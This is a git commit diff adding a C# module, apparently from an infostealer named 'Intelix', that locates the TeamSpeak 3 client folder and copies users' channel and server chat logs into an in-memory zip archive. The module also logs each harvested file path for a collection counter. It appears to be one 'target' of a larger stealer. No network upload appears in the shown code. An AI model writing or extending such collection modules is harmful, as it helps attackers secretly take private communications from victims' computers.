initial commit
This commit is contained in:
@@ -0,0 +1,92 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Applications;
|
||||
|
||||
public class TeamSpeak : ITarget
|
||||
{
|
||||
private readonly bool _collectChannelChats = true;
|
||||
|
||||
private readonly bool _collectServerLogs = true;
|
||||
|
||||
private readonly long _minFileSize = 50L;
|
||||
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = new string[2]
|
||||
{
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "TeamSpeak 3 Client"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "TeamSpeak 3 Client")
|
||||
}.FirstOrDefault(Directory.Exists);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string path = Path.Combine(text, "config", "chats");
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string[] directories = Directory.GetDirectories(path);
|
||||
if (directories == null || directories.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "TeamSpeak";
|
||||
int num = 1;
|
||||
string[] array = directories;
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string[] array2 = Directory.EnumerateFiles(array[i], "*.txt", SearchOption.TopDirectoryOnly).Where(delegate(string f)
|
||||
{
|
||||
string fileName = Path.GetFileName(f);
|
||||
if (string.IsNullOrEmpty(fileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!_collectChannelChats && fileName.StartsWith("channel", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
if (!_collectServerLogs && fileName.StartsWith("server", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
try
|
||||
{
|
||||
return new FileInfo(f).Length >= _minFileSize;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}).ToArray();
|
||||
if (array2.Length == 0)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array3 = array2;
|
||||
foreach (string text2 in array3)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text3 = $"TeamSpeak\\{num}\\" + Path.GetFileName(text2);
|
||||
zip.AddFile(text3, File.ReadAllBytes(text2));
|
||||
counterApplications.Files.Add(text2 + " => " + text3);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
num++;
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add("TeamSpeak\\");
|
||||
counter.Applications.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user